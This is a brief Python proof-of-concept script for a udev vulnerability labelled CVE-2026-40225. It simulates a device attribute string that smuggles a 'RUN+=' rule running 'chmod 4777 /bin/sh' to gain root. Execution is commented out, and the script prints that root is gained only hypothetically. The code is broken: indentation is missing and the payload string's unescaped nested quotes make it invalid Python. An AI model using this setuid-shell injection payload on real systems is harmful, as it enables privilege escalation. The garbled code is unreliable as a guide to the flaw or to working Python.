The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC Concept for CVE-2026-40225
# This script demonstrates how a malicious hardware device might trigger the vulnerability
# by simulating a malicious kernel attribute string.
import os
import time
def simulate_malicious_device_event():
# In a real attack scenario, this string would be returned by the kernel
# in response to a malicious hardware device's identification data.
# The vulnerability lies in udev failing to sanitize this input.
malicious_kernel_output = "ID_MODEL=EvilDevice\nRUN+='/bin/sh -c "chmod 4777 /bin/sh"'"
print(f"[*] Simulating kernel event with payload:\n{malicious_kernel_output}")
# Simulating udev processing the rule without sanitization
print("[*] udev processing event...")
# Vulnerable logic: executing the unsanitized RUN command
if "RUN+=" in malicious_kernel_output:
# Extract command (simplified for PoC)
cmd_start = malicious_kernel_output.find("'/") + 1
cmd_end = malicious_kernel_output.find("'", cmd_start)
command = malicious_kernel_output[cmd_start:cmd_end]
print(f"[!] Executing privileged command: {command}")
# os.system(command) # Actual execution would grant root access
print("[!] Root access achieved (hypothetically).")
if __name__ == "__main__":
simulate_malicious_device_event()